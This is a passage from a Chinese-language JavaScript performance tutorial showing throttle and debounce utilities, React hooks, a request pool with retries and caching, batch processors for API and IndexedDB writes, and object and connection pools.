      setTimeout(() => this.processNextSlice(resolve, reject), 0);
    }
  }

  stop() {
    this.isProcessing = false;
  }
}

// 使用示例:处理大型数组
function processLargeArray(array, processItem, chunkSize = 100) {
  return new Promise((resolve) => {
    let index = 0;
    const results = [];
    
    function processChunk() {
      const chunkStart = performance.now();
      
      while (index < array.length) {
        results.push(processItem(array[index]));
        index++;
        
        // 检查是否处理了足够多的项目或时间到了
        if (index % chunkSize === 0 || 
            performance.now() - chunkStart > 16) {
          break;
        }
      }
      
      if (index < array.length) {
        // 还有更多项目,安排下一个时间片
        requestAnimationFrame(processChunk);
      } else {
        // 完成
        resolve(results);
      }
    }
    
    // 开始处理
    requestAnimationFrame(processChunk);
  });
}

// 处理10万个项目
const largeArray = Array.from({ length: 100000 }, (_, i) => i);

processLargeArray(largeArray, (item) => {
  // 对每个项目进行一些处理
  return item * Math.sqrt(item);
}, 1000).then(results => {
  console.log(`Processed ${results.length} items`);
});

六、函数节流与防抖(Throttle & Debounce)

6.1 高级节流与防抖实现
class AdvancedThrottleDebounce {
  // 节流:确保函数在一定时间内只执行一次
  static throttle(func, wait, options = {}) {
    let timeout = null;
    let previous = 0;
    let result;
    let context;
    let args;
    
    const { leading = true, trailing = true } = options;
    
    const later = () => {
      previous = !leading ? 0 : Date.now();
      timeout = null;
      if (trailing && args) {
        result = func.apply(context, args);
        context = args = null;
      }
    };
    
    const throttled = function(...params) {
      const now = Date.now();
      
      if (!previous && !leading) {
        previous = now;
      }
      
      const remaining = wait - (now - previous);
      context = this;
      args = params;
      
      if (remaining <= 0 || remaining > wait) {
        if (timeout) {
          clearTimeout(timeout);
          timeout = null;
        }
        previous = now;
        result = func.apply(context, args);
        context = args = null;
      } else if (!timeout && trailing) {
        timeout = setTimeout(later, remaining);
      }
      
      return result;
    };
    
    throttled.cancel = () => {
      clearTimeout(timeout);
      previous = 0;
      timeout = context = args = null;
    };
    
    return throttled;
  }

  // 防抖:确保函数在最后一次调用后一定时间才执行
  static debounce(func, wait, options = {}) {
    let timeout = null;
    let result;
    let context;
    let args;
    let lastCallTime;
    let lastInvokeTime = 0;
    
    const { 
      leading = false, 
      trailing = true,
      maxWait 
    } = options;
    
    const invokeFunc = (time) => {
      lastInvokeTime = time;
      result = func.apply(context, args);
      context = args = null;
      return result;
    };
    
    const leadingEdge = (time) => {
      lastInvokeTime = time;
      
      if (trailing) {
        timeout = setTimeout(timerExpired, wait);
      }
      
      return leading ? invokeFunc(time) : result;
    };
    
    const remainingWait = (time) => {
      const timeSinceLastCall = time - lastCallTime;
      const timeSinceLastInvoke = time - lastInvokeTime;
      const timeWaiting = wait - timeSinceLastCall;
      
      return maxWait === undefined
        ? timeWaiting
        : Math.min(timeWaiting, maxWait - timeSinceLastInvoke);
    };
    
    const shouldInvoke = (time) => {
      const timeSinceLastCall = time - lastCallTime;
      const timeSinceLastInvoke = time - lastInvokeTime;
      
      return (
        lastCallTime === undefined || 
        timeSinceLastCall >= wait ||
        timeSinceLastCall < 0 ||
        (maxWait !== undefined && timeSinceLastInvoke >= maxWait)
      );
    };
    
    const timerExpired = () => {
      const time = Date.now();
      if (shouldInvoke(time)) {
        return trailingEdge(time);
      }
      timeout = setTimeout(timerExpired, remainingWait(time));
    };
    
    const trailingEdge = (time) => {
      timeout = null;
      
      if (trailing && args) {
        return invokeFunc(time);
      }
      
      context = args = null;
      return result;
    };
    
    const debounced = function(...params) {
      const time = Date.now();
      const isInvoking = shouldInvoke(time);
      
      context = this;
      args = params;
      lastCallTime = time;
      
      if (isInvoking) {
        if (!timeout && leading) {
          return leadingEdge(lastCallTime);
        }
        
        if (maxWait !== undefined) {
          timeout = setTimeout(timerExpired, wait);
          return invokeFunc(lastCallTime);
        }
      }
      
      if (!timeout) {
        timeout = setTimeout(timerExpired, wait);
      }
      
      return result;
    };
    
    debounced.cancel = () => {
      if (timeout !== null) {
        clearTimeout(timeout);
      }
      lastInvokeTime = 0;
      lastCallTime = 0;
      timeout = context = args = null;
    };
    
    debounced.flush = () => {
      return timeout ? trailingEdge(Date.now()) : result;
    };
    
    return debounced;
  }

  // 立即执行的防抖(第一次立即执行,然后防抖)
  static immediateDebounce(func, wait) {
    let timeout;
    let immediate = true;
    
    return function(...args) {
      const context = this;
      
      if (immediate) {
        func.apply(context, args);
        immediate = false;
      }
      
      clearTimeout(timeout);
      timeout = setTimeout(() => {
        immediate = true;
      }, wait);
    };
  }

  // 节流+防抖组合
  static throttleDebounce(func, wait, options = {}) {
    const {
      throttleWait = wait,
      debounceWait = wait,
      leading = true,
      trailing = true
    } = options;
    
    const throttled = this.throttle(func, throttleWait, { leading, trailing });
    const debounced = this.debounce(func, debounceWait, { leading, trailing });
    
    let lastCall = 0;
    
    return function(...args) {
      const now = Date.now();
      const timeSinceLastCall = now - lastCall;
      lastCall = now;
      
      // 如果距离上次调用时间很短,使用防抖
      if (timeSinceLastCall < throttleWait) {
        return debounced.apply(this, args);
      }
      
      // 否则使用节流
      return throttled.apply(this, args);
    };
  }
}

// 使用示例
// 节流示例:滚动事件
window.addEventListener('scroll', AdvancedThrottleDebounce.throttle(
  function() {
    console.log('Scroll position:', window.scrollY);
  },
  100,
  { leading: true, trailing: true }
));

// 防抖示例:搜索输入
const searchInput = document.getElementById('search');
searchInput.addEventListener('input', AdvancedThrottleDebounce.debounce(
  function(event) {
    console.log('Searching for:', event.target.value);
    // 实际搜索逻辑
  },
  300,
  { leading: false, trailing: true }
));

// 立即执行的防抖示例:按钮点击
const submitButton = document.getElementById('submit');
submitButton.addEventListener('click', AdvancedThrottleDebounce.immediateDebounce(
  function() {
    console.log('Submit clicked');
    // 提交逻辑
  },
  1000
));

// 组合示例:调整窗口大小
window.addEventListener('resize', AdvancedThrottleDebounce.throttleDebounce(
  function() {
    console.log('Window resized');
    // 调整布局逻辑
  },
  200,
  { throttleWait: 100, debounceWait: 300 }
));
6.2 React Hook版本的节流防抖
import { useRef, useCallback, useEffect } from 'react';

// 使用Hook实现节流
function useThrottle(callback, delay, options = {}) {
  const { leading = true, trailing = true } = options;
  const lastCallTime = useRef(0);
  const timeout = useRef(null);
  const lastArgs = useRef(null);
  const lastThis = useRef(null);
  
  const throttled = useCallback(function(...args) {
    const now = Date.now();
    lastArgs.current = args;
    lastThis.current = this;
    
    if (!leading && !lastCallTime.current) {
      lastCallTime.current = now;
    }
    
    const remaining = delay - (now - lastCallTime.current);
    
    if (remaining <= 0 || remaining > delay) {
      if (timeout.current) {
        clearTimeout(timeout.current);
        timeout.current = null;
      }
      
      lastCallTime.current = now;
      callback.apply(this, args);
      lastArgs.current = lastThis.current = null;
    } else if (!timeout.current && trailing) {
      timeout.current = setTimeout(() => {
        lastCallTime.current = leading ? Date.now() : 0;
        timeout.current = null;
        
        if (trailing && lastArgs.current) {
          callback.apply(lastThis.current, lastArgs.current);
          lastArgs.current = lastThis.current = null;
        }
      }, remaining);
    }
  }, [callback, delay, leading, trailing]);
  
  // 清理函数
  useEffect(() => {
    return () => {
      if (timeout.current) {
        clearTimeout(timeout.current);
      }
    };
  }, []);
  
  return throttled;
}

// 使用Hook实现防抖
function useDebounce(callback, delay, options = {}) {
  const { leading = false, maxWait } = options;
  const lastCallTime = useRef(0);
  const lastInvokeTime = useRef(0);
  const timeout = useRef(null);
  const lastArgs = useRef(null);
  const lastThis = useRef(null);
  
  const debounced = useCallback(function(...args) {
    const now = Date.now();
    
    lastArgs.current = args;
    lastThis.current = this;
    lastCallTime.current = now;
    
    const invokeFunc = () => {
      lastInvokeTime.current = now;
      callback.apply(this, args);
      lastArgs.current = lastThis.current = null;
    };
    
    const shouldInvoke = () => {
      const timeSinceLastCall = now - lastCallTime.current;
      const timeSinceLastInvoke = now - lastInvokeTime.current;
      
      return (
        lastCallTime.current === 0 ||
        timeSinceLastCall >= delay ||
        timeSinceLastCall < 0 ||
        (maxWait !== undefined && timeSinceLastInvoke >= maxWait)
      );
    };
    
    if (shouldInvoke()) {
      if (!timeout.current && leading) {
        invokeFunc();
      }
      
      if (maxWait !== undefined) {
        timeout.current = setTimeout(() => {
          if (timeout.current) {
            clearTimeout(timeout.current);
            timeout.current = null;
          }
          invokeFunc();
        }, delay);
        return;
      }
    }
    
    if (!timeout.current) {
      timeout.current = setTimeout(() => {
        timeout.current = null;
        if (lastArgs.current) {
          invokeFunc();
        }
      }, delay);
    }
  }, [callback, delay, leading, maxWait]);
  
  // 清理函数
  useEffect(() => {
    return () => {
      if (timeout.current) {
        clearTimeout(timeout.current);
      }
    };
  }, []);
  
  return debounced;
}

// React组件使用示例
function SearchComponent() {
  const [query, setQuery] = useState('');
  const [results, setResults] = useState([]);
  
  // 防抖搜索函数
  const debouncedSearch = useDebounce(async (searchQuery) => {
    if (!searchQuery.trim()) {
      setResults([]);
      return;
    }
    
    const response = await fetch(`/api/search?q=${encodeURIComponent(searchQuery)}`);
    const data = await response.json();
    setResults(data);
  }, 300);
  
  const handleInputChange = useCallback((event) => {
    const value = event.target.value;
    setQuery(value);
    debouncedSearch(value);
  }, [debouncedSearch]);
  
  return (
    <div>
      <input 
        type="text" 
        value={query}
        onChange={handleInputChange}
        placeholder="Search..."
      />
      <ul>
        {results.map(result => (
          <li key={result.id}>{result.name}</li>
        ))}
      </ul>
    </div>
  );
}

七、并发控制与请求池(Concurrency Control & Request Pool)

7.1 智能请求池实现
class RequestPool {
  constructor(options = {}) {
    this.options = {
      maxConcurrent: 6, // 最大并发数(浏览器限制通常是6)
      retryCount: 2, // 重试次数
      retryDelay: 1000, // 重试延迟
      timeout: 30000, // 超时时间
      priority: false, // 是否启用优先级
      ...options
    };
    
    this.queue = [];
    this.activeRequests = new Map();
    this.requestCount = 0;
    this.stats = {
      total: 0,
      success: 0,
      failed: 0,
      retried: 0,
      queued: 0,
      active: 0
    };
    
    this.paused = false;
  }

  addRequest(request, priority = 0) {
    const requestId = `req_${Date.now()}_${++this.requestCount}`;
    const requestConfig = {
      id: requestId,
      request,
      priority,
      retries: 0,
      addedAt: Date.now()
    };
    
    if (this.options.priority) {
      // 按优先级插入队列
      let insertIndex = this.queue.length;
      for (let i = 0; i < this.queue.length; i++) {
        if (priority > this.queue[i].priority) {
          insertIndex = i;
          break;
        }
      }
      this.queue.splice(insertIndex, 0, requestConfig);
    } else {
      this.queue.push(requestConfig);
    }
    
    this.stats.queued++;
    this.stats.total++;
    
    this.processQueue();
    return requestId;
  }

  async processQueue() {
    if (this.paused || this.queue.length === 0) return;
    
    // 检查可用并发数
    const availableSlots = this.options.maxConcurrent - this.activeRequests.size;
    if (availableSlots <= 0) return;
    
    // 获取要处理的任务
    const tasksToProcess = this.queue.splice(0, availableSlots);
    
    tasksToProcess.forEach(task => {
      this.executeRequest(task);
    });
  }

  async executeRequest(task) {
    const { id, request, priority, retries } = task;
    
    this.activeRequests.set(id, task);
    this.stats.queued--;
    this.stats.active++;
    
    try {
      const controller = new AbortController();
      const timeoutId = setTimeout(() => {
        controller.abort();
      }, this.options.timeout);
      
      // 执行请求
      const result = await request(controller.signal);
      
      clearTimeout(timeoutId);
      
      // 请求成功
      this.activeRequests.delete(id);
      this.stats.active--;
      this.stats.success++;
      
      // 触发成功事件
      this.emit('success', { id, result, retries });
      
      // 继续处理队列
      this.processQueue();
      
      return result;
    } catch (error) {
      clearTimeout(timeoutId);
      
      // 检查是否需要重试
      const shouldRetry = retries < this.options.retryCount && 
                         !this.isAbortError(error);
      
      if (shouldRetry) {
        this.stats.retried++;
        
        // 延迟后重试
        setTimeout(() => {
          task.retries++;
          this.queue.unshift(task);
          this.stats.queued++;
          this.processQueue();
        }, this.options.retryDelay);
      } else {
        // 最终失败
        this.activeRequests.delete(id);
        this.stats.active--;
        this.stats.failed++;
        
        // 触发失败事件
        this.emit('error', { id, error, retries });
        
        // 继续处理队列
        this.processQueue();
      }
    }
  }

  isAbortError(error) {
    return error.name === 'AbortError' || error.message === 'The user aborted a request.';
  }

  // 事件系统
  eventHandlers = new Map();
  
  on(event, handler) {
    if (!this.eventHandlers.has(event)) {
      this.eventHandlers.set(event, []);
    }
    this.eventHandlers.get(event).push(handler);
  }
  
  off(event, handler) {
    if (this.eventHandlers.has(event)) {
      const handlers = this.eventHandlers.get(event);
      const index = handlers.indexOf(handler);
      if (index > -1) {
        handlers.splice(index, 1);
      }
    }
  }
  
  emit(event, data) {
    if (this.eventHandlers.has(event)) {
      this.eventHandlers.get(event).forEach(handler => {
        try {
          handler(data);
        } catch (error) {
          console.error(`Error in event handler for ${event}:`, error);
        }
      });
    }
  }

  // 控制方法
  pause() {
    this.paused = true;
  }

  resume() {
    this.paused = false;
    this.processQueue();
  }

  cancelRequest(requestId) {
    // 从队列中移除
    const queueIndex = this.queue.findIndex(req => req.id === requestId);
    if (queueIndex > -1) {
      this.queue.splice(queueIndex, 1);
      this.stats.queued--;
      return true;
    }
    
    // 从活动请求中移除(无法真正取消fetch,但可以标记为取消)
    if (this.activeRequests.has(requestId)) {
      // 在实际应用中,这里应该取消fetch请求
      // 需要保存AbortController并在取消时调用abort()
      this.activeRequests.delete(requestId);
      this.stats.active--;
      return true;
    }
    
    return false;
  }

  clearQueue() {
    this.queue = [];
    this.stats.queued = 0;
  }

  getStats() {
    return {
      ...this.stats,
      queueLength: this.queue.length,
      activeRequests: this.activeRequests.size
    };
  }

  waitForAll() {
    return new Promise((resolve) => {
      const checkInterval = setInterval(() => {
        if (this.queue.length === 0 && this.activeRequests.size === 0) {
          clearInterval(checkInterval);
          resolve(this.stats);
        }
      }, 100);
    });
  }
}

// 使用示例
const requestPool = new RequestPool({
  maxConcurrent: 4,
  retryCount: 2,
  timeout: 10000,
  priority: true
});

// 添加请求事件监听
requestPool.on('success', ({ id, result }) => {
  console.log(`Request ${id} succeeded`);
});

requestPool.on('error', ({ id, error }) => {
  console.error(`Request ${id} failed:`, error);
});

// 创建请求函数
function createRequest(url, data = null) {
  return async (signal) => {
    const options = {
      method: data ? 'POST' : 'GET',
      headers: {
        'Content-Type': 'application/json'
      },
      signal
    };
    
    if (data) {
      options.body = JSON.stringify(data);
    }
    
    const response = await fetch(url, options);
    
    if (!response.ok) {
      throw new Error(`HTTP ${response.status}`);
    }
    
    return response.json();
  };
}

// 添加多个请求
const urls = [
  '/api/users/1',
  '/api/users/2',
  '/api/users/3',
  '/api/products/1',
  '/api/products/2',
  '/api/orders/1'
];

urls.forEach((url, index) => {
  const priority = index < 3 ? 10 : 1; // 前3个请求高优先级
  requestPool.addRequest(createRequest(url), priority);
});

// 等待所有请求完成
requestPool.waitForAll().then(stats => {
  console.log('All requests completed:', stats);
});

// 动态调整并发数
setTimeout(() => {
  requestPool.options.maxConcurrent = 2;
}, 5000);
7.2 带缓存的请求池
class CachedRequestPool extends RequestPool {
  constructor(options = {}) {
    super(options);
    
    this.cache = new Map();
    this.cacheOptions = {
      ttl: options.cacheTtl || 300000, // 5分钟
      maxSize: options.cacheMaxSize || 100,
      ...options.cacheOptions
    };
    
    this.cacheHits = 0;
    this.cacheMisses = 0;
  }

  addRequest(request, priority = 0, cacheKey = null) {
    // 生成缓存键
    const actualCacheKey = cacheKey || this.generateCacheKey(request);
    
    // 检查缓存
    if (this.cache.has(actualCacheKey)) {
      const cached = this.cache.get(actualCacheKey);
      
      if (Date.now() - cached.timestamp < this.cacheOptions.ttl) {
        this.cacheHits++;
        
        // 立即返回缓存结果
        return Promise.resolve(cached.data);
      } else {
        // 缓存过期
        this.cache.delete(actualCacheKey);
      }
    }
    
    this.cacheMisses++;
    
    // 创建包装的请求函数
    const wrappedRequest = async (signal) => {
      try {
        const result = await request(signal);
        
        // 缓存结果
        this.cache.set(actualCacheKey, {
          data: result,
          timestamp: Date.now()
        });
        
        // 清理过期缓存
        this.cleanupCache();
        
        return result;
      } catch (error) {
        throw error;
      }
    };
    
    // 添加到父类队列
    return new Promise((resolve, reject) => {
      const requestId = super.addRequest(wrappedRequest, priority);
      
      // 监听完成事件
      const successHandler = ({ id, result }) => {
        if (id === requestId) {
          resolve(result);
          this.off('success', successHandler);
          this.off('error', errorHandler);
        }
      };
      
      const errorHandler = ({ id, error }) => {
        if (id === requestId) {
          reject(error);
          this.off('success', successHandler);
          this.off('error', errorHandler);
        }
      };
      
      this.on('success', successHandler);
      this.on('error', errorHandler);
    });
  }

  generateCacheKey(request) {
    // 根据请求函数生成缓存键
    // 这是一个简单实现,实际应用中可能需要更复杂的逻辑
    return `cache_${Date.now()}_${Math.random().toString(36).substr(2)}`;
  }

  cleanupCache() {
    const now = Date.now();
    const maxAge = this.cacheOptions.ttl;
    
    // 清理过期缓存
    for (const [key, value] of this.cache.entries()) {
      if (now - value.timestamp > maxAge) {
        this.cache.delete(key);
      }
    }
    
    // 清理超出大小的缓存
    if (this.cache.size > this.cacheOptions.maxSize) {
      const entries = Array.from(this.cache.entries());
      entries.sort(([, a], [, b]) => a.timestamp - b.timestamp);
      
      const toRemove = entries.slice(0, this.cache.size - this.cacheOptions.maxSize);
      toRemove.forEach(([key]) => this.cache.delete(key));
    }
  }

  clearCache() {
    this.cache.clear();
    this.cacheHits = 0;
    this.cacheMisses = 0;
  }

  getCacheStats() {
    return {
      hits: this.cacheHits,
      misses: this.cacheMisses,
      hitRate: this.cacheHits + this.cacheMisses > 0 
        ? this.cacheHits / (this.cacheHits + this.cacheMisses)
        : 0,
      size: this.cache.size
    };
  }
}

八、数据分批处理(Batch Processing)

8.1 智能数据批处理器
class BatchProcessor {
  constructor(options = {}) {
    this.options = {
      batchSize: 100,
      delay: 100, // 延迟时间(毫秒)
      maxBatches: 10, // 最大批次数
      autoProcess: true, // 是否自动处理
      ...options
    };
    
    this.batch = [];
    this.batchQueue = [];
    this.isProcessing = false;
    this.timer = null;
    this.stats = {
      totalItems: 0,
      processedItems: 0,
      batchesProcessed: 0,
      processingTime: 0
    };
    
    if (this.options.autoProcess) {
      this.startAutoProcess();
    }
  }

  add(item) {
    this.batch.push(item);
    this.stats.totalItems++;
    
    if (this.batch.length >= this.options.batchSize) {
      this.enqueueBatch();
    } else if (this.options.autoProcess && !this.timer) {
      this.startTimer();
    }
    
    return this;
  }

  addMany(items) {
    items.forEach(item => this.add(item));
    return this;
  }

  enqueueBatch() {
    if (this.batch.length === 0) return;
    
    const batchToEnqueue = [...this.batch];
    this.batch = [];
    
    this.batchQueue.push(batchToEnqueue);
    
    // 检查队列长度
    if (this.batchQueue.length > this.options.maxBatches) {
      console.warn('Batch queue is full, consider increasing maxBatches or batchSize');
    }
    
    if (this.timer) {
      clearTimeout(this.timer);
      this.timer = null;
    }
    
    if (this.options.autoProcess && !this.isProcessing) {
      this.processQueue();
    }
  }

  startTimer() {
    if (this.timer) {
      clearTimeout(this.timer);
    }
    
    this.timer = setTimeout(() => {
      this.enqueueBatch();
      this.timer = null;
    }, this.options.delay);
  }

  async processQueue() {
    if (this.isProcessing || this.batchQueue.length === 0) return;
    
    this.isProcessing = true;
    
    while (this.batchQueue.length > 0) {
      const batch = this.batchQueue.shift();
      
      try {
        const startTime = Date.now();
        await this.processBatch(batch);
        const endTime = Date.now();
        
        this.stats.processedItems += batch.length;
        this.stats.batchesProcessed++;
        this.stats.processingTime += endTime - startTime;
        
        // 触发批次完成事件
        this.emit('batchComplete', {
          batch,
          size: batch.length,
          processingTime: endTime - startTime
        });
        
      } catch (error) {
        console.error('Batch processing error:', error);
        
        // 触发错误事件
        this.emit('error', {
          error,
          batch,
          size: batch.length
        });
      }
    }
    
    this.isProcessing = false;
    
    // 触发队列完成事件
    this.emit('queueEmpty', this.stats);
  }

  async processBatch(batch) {
    // 这是一个抽象方法,需要在子类中实现
    throw new Error('processBatch method must be implemented');
  }

  flush() {
    // 强制处理当前批次
    if (this.batch.length > 0) {
      this.enqueueBatch();
    }
    
    return this.processQueue();
  }

  waitForCompletion() {
    return new Promise((resolve) => {
      const checkComplete = () => {
        if (this.batch.length === 0 && 
            this.batchQueue.length === 0 && 
            !this.isProcessing) {
          resolve(this.stats);
        } else {
          setTimeout(checkComplete, 50);
        }
      };
      
      checkComplete();
    });
  }

  // 事件系统
  eventHandlers = new Map();
  
  on(event, handler) {
    if (!this.eventHandlers.has(event)) {
      this.eventHandlers.set(event, []);
    }
    this.eventHandlers.get(event).push(handler);
  }
  
  off(event, handler) {
    if (this.eventHandlers.has(event)) {
      const handlers = this.eventHandlers.get(event);
      const index = handlers.indexOf(handler);
      if (index > -1) {
        handlers.splice(index, 1);
      }
    }
  }
  
  emit(event, data) {
    if (this.eventHandlers.has(event)) {
      this.eventHandlers.get(event).forEach(handler => {
        try {
          handler(data);
        } catch (error) {
          console.error(`Error in event handler for ${event}:`, error);
        }
      });
    }
  }

  getStats() {
    return {
      ...this.stats,
      itemsInBatch: this.batch.length,
      batchesInQueue: this.batchQueue.length,
      isProcessing: this.isProcessing
    };
  }

  reset() {
    this.batch = [];
    this.batchQueue = [];
    this.isProcessing = false;
    
    if (this.timer) {
      clearTimeout(this.timer);
      this.timer = null;
    }
    
    this.stats = {
      totalItems: 0,
      processedItems: 0,
      batchesProcessed: 0,
      processingTime: 0
    };
  }
}

// 使用示例:API批量请求处理器
class ApiBatchProcessor extends BatchProcessor {
  constructor(apiEndpoint, options = {}) {
    super({
      batchSize: 50,
      delay: 500,
      ...options
    });
    
    this.apiEndpoint = apiEndpoint;
  }

  async processBatch(batch) {
    // 批量发送请求
    const response = await fetch(this.apiEndpoint, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({ items: batch })
    });
    
    if (!response.ok) {
      throw new Error(`API request failed: ${response.status}`);
    }
    
    return response.json();
  }
}

// 使用示例
const processor = new ApiBatchProcessor('/api/batch-save', {
  batchSize: 100,
  delay: 1000
});

// 监听事件
processor.on('batchComplete', ({ batch, size, processingTime }) => {
  console.log(`Processed batch of ${size} items in ${processingTime}ms`);
});

processor.on('queueEmpty', (stats) => {
  console.log('All batches processed:', stats);
});

// 添加大量数据
for (let i = 0; i < 1000; i++) {
  processor.add({ id: i, data: `Item ${i}` });
}

// 等待处理完成
processor.waitForCompletion().then(stats => {
  console.log('Processing completed:', stats);
});
8.2 数据库批量操作
class DatabaseBatchProcessor extends BatchProcessor {
  constructor(dbName, storeName, options = {}) {
    super({
      batchSize: 100,
      delay: 100,
      ...options
    });
    
    this.dbName = dbName;
    this.storeName = storeName;
    this.db = null;
    
    this.initDatabase();
  }

  async initDatabase() {
    return new Promise((resolve, reject) => {
      const request = indexedDB.open(this.dbName, 1);
      
      request.onupgradeneeded = (event) => {
        const db = event.target.result;
        if (!db.objectStoreNames.contains(this.storeName)) {
          db.createObjectStore(this.storeName, { keyPath: 'id' });
        }
      };
      
      request.onsuccess = (event) => {
        this.db = event.target.result;
        resolve();
      };
      
      request.onerror = (event) => {
        reject(event.target.error);
      };
    });
  }

  async processBatch(batch) {
    if (!this.db) await this.initDatabase();
    
    return new Promise((resolve, reject) => {
      const transaction = this.db.transaction([this.storeName], 'readwrite');
      const store = transaction.objectStore(this.storeName);
      
      let completed = 0;
      let errors = [];
      
      batch.forEach(item => {
        const request = store.put(item);
        
        request.onsuccess = () => {
          completed++;
          if (completed === batch.length) {
            if (errors.length > 0) {
              reject(new Error(`Failed to save ${errors.length} items`));
            } else {
              resolve({ saved: batch.length });
            }
          }
        };
        
        request.onerror = (event) => {
          errors.push({ item, error: event.target.error });
          completed++;
          
          if (completed === batch.length) {
            if (errors.length > 0) {
              reject(new Error(`Failed to save ${errors.length} items`));
            } else {
              resolve({ saved: batch.length - errors.length });
            }
          }
        };
      });
    });
  }

  async queryBatch(queryFn, batchSize = 100) {
    if (!this.db) await this.initDatabase();
    
    return new Promise((resolve, reject) => {
      const transaction = this.db.transaction([this.storeName], 'readonly');
      const store = transaction.objectStore(this.storeName);
      const request = store.openCursor();
      
      const results = [];
      let processed = 0;
      
      request.onsuccess = (event) => {
        const cursor = event.target.result;
        
        if (cursor) {
          // 应用查询函数
          if (queryFn(cursor.value)) {
            results.push(cursor.value);
          }
          
          processed++;
          cursor.continue();
          
          // 批量处理
          if (processed % batchSize === 0) {
            // 短暂暂停以避免阻塞主线程
            setTimeout(() => {}, 0);
          }
        } else {
          resolve(results);
        }
      };
      
      request.onerror = (event) => {
        reject(event.target.error);
      };
    });
  }
}

// 使用示例
const dbProcessor = new DatabaseBatchProcessor('myDatabase', 'items');

// 批量添加数据
for (let i = 0; i < 10000; i++) {
  dbProcessor.add({
    id: i,
    name: `Item ${i}`,
    value: Math.random(),
    timestamp: Date.now()
  });
}

// 批量查询
dbProcessor.queryBatch(
  item => item.value > 0.5,
  500
).then(results => {
  console.log(`Found ${results.length} items with value > 0.5`);
});

九、对象池模式(Object Pool Pattern)

9.1 通用对象池实现
class ObjectPool {
  constructor(createFn, options = {}) {
    if (typeof createFn !== 'function') {
      throw new Error('createFn must be a function');
    }
    
    this.createFn = createFn;
    this.options = {
      maxSize: 100,
      minSize: 0,
      validate: null, // 验证函数
      reset: null, // 重置函数
      ...options
    };
    
    this.pool = [];
    this.active = new Set();
    this.stats = {
      created: 0,
      reused: 0,
      destroyed: 0,
      peakSize: 0
    };
    
    // 预创建对象
    this.prepopulate();
  }

  prepopulate() {
    const count = Math.min(this.options.minSize, this.options.maxSize);
    for (let i = 0; i < count; i++) {
      const obj = this.createNew();
      this.pool.push(obj);
    }
  }

  createNew() {
    const obj = this.createFn();
    this.stats.created++;
    return obj;
  }

  acquire() {
    let obj;
    
    if (this.pool.length > 0) {
      // 从池中获取
      obj = this.pool.pop();
      
      // 验证对象
      if (this.options.validate && !this.options.validate(obj)) {
        // 对象无效,销毁并创建新的
        this.destroyObject(obj);
        obj = this.createNew();
      } else {
        this.stats.reused++;
      }
    } else {
      // 池为空,创建新对象
      obj = this.createNew();
    }
    
    // 重置对象状态
    if (this.options.reset) {
      this.options.reset(obj);
    }
    
    this.active.add(obj);
    this.updatePeakSize();
    
    return obj;
  }

  release(obj) {
    if (!this.active.has(obj)) {
      console.warn('Object not active in pool');
      return;
    }
    
    this.active.delete(obj);
    
    // 检查池是否已满
    if (this.pool.length < this.options.maxSize) {
      // 重置对象
      if (this.options.reset) {
        this.options.reset(obj);
      }
      
      this.pool.push(obj);
    } else {
      // 池已满,销毁对象
      this.destroyObject(obj);
    }
  }

  destroyObject(obj) {
    // 调用清理函数(如果存在)
    if (obj.destroy && typeof obj.destroy === 'function') {
      obj.destroy();
    }
    
    this.stats.destroyed++;
  }

  updatePeakSize() {
    const totalSize = this.pool.length + this.active.size;
    if (totalSize > this.stats.peakSize) {
      this.stats.peakSize = totalSize;
    }
  }

  clear() {
    // 销毁所有对象
    [...this.pool, ...this.active].forEach(obj => {
      this.destroyObject(obj);
    });
    
    this.pool = [];
    this.active.clear();
  }

  getStats() {
    return {
      ...this.stats,
      poolSize: this.pool.length,
      activeSize: this.active.size,
      totalSize: this.pool.length + this.active.size
    };
  }

  // 执行函数并自动管理对象
  async execute(callback) {
    const obj = this.acquire();
    
    try {
      const result = await callback(obj);
      return result;
    } finally {
      this.release(obj);
    }
  }
}

// 使用示例:DOM元素池
class DOMElementPool extends ObjectPool {
  constructor(elementType, options = {}) {
    super(() => {
      const element = document.createElement(elementType);
      element.style.display = 'none'; // 初始隐藏
      document.body.appendChild(element);
      return element;
    }, options);
    
    this.elementType = elementType;
  }

  acquire(styles = {}) {
    const element = super.acquire();
    
    // 应用样式
    Object.assign(element.style, {
      display: '',
      ...styles
    });
    
    return element;
  }

  release(element) {
    // 隐藏元素
    element.style.display = 'none';
    
    // 清除内容
    element.innerHTML = '';
    
    super.release(element);
  }
}

// 使用示例
const divPool = new DOMElementPool('div', {
  maxSize: 50,
  minSize: 10,
  reset: (div) => {
    div.className = '';
    div.style.cssText = '';
    div.textContent = '';
  }
});

// 使用对象池创建临时元素
for (let i = 0; i < 1000; i++) {
  const div = divPool.acquire({
    position: 'absolute',
    left: `${Math.random() * 100}%`,
    top: `${Math.random() * 100}%`,
    width: '50px',
    height: '50px',
    backgroundColor: `hsl(${Math.random() * 360}, 100%, 50%)`
  });
  
  div.textContent = i;
  
  // 模拟使用
  setTimeout(() => {
    divPool.release(div);
  }, Math.random() * 3000);
}

// 查看统计
setTimeout(() => {
  console.log('Pool stats:', divPool.getStats());
}, 5000);
9.2 连接池实现
class ConnectionPool {
  constructor(createConnection, options = {}) {
    this.createConnection = createConnection;
    this.options = {
      maxConnections: 10,
      minConnections: 2,
      idleTimeout: 30000, // 空闲超时时间
      acquireTimeout: 5000, // 获取连接超时时间
      testOnBorrow: true, // 获取时测试连接
      ...options
    };
    
    this.pool = [];
    this.active = new Set();
    this.waiting = [];
    this.timers = new Map();
    
    this.stats = {
      created: 0,
      destroyed: 0,
      acquired: 0,
      released: 0,
      timeoutErrors: 0,
      connectionErrors: 0
    };
    
    // 初始化连接池
    this.init();
  }

  async init() {
    for (let i = 0; i < this.options.minConnections; i++) {
      await this.createAndAddConnection();
    }
  }

  async createAndAddConnection() {
    try {
      const connection = await this.createConnection();
      this.pool.push({
        connection,
        lastUsed: Date.now(),
        valid: true
      });
      
      this.stats.created++;
      return connection;
    } catch (error) {
      this.stats.connectionErrors++;
      throw error;
    }
  }

  async acquire() {
    this.stats.acquired++;
    
    // 1. 检查空闲连接
    for (let i = 0; i < this.pool.length; i++) {
      const item = this.pool[i];
      
      if (item.valid) {
        // 检查连接是否有效
        if (this.options.testOnBorrow) {
          try {
            await this.testConnection(item.connection);
          } catch (error) {
            item.valid = false;
            continue;
          }
        }
        
        // 从池中移除
        const [acquiredItem] = this.pool.splice(i, 1);
        this.active.add(acquiredItem.connection);
        
        // 设置最后使用时间
        acquiredItem.lastUsed = Date.now();
        
        return acquiredItem.connection;
      }
    }
    
    // 2. 检查是否可以创建新连接
    const totalConnections = this.pool.length + this.active.size;
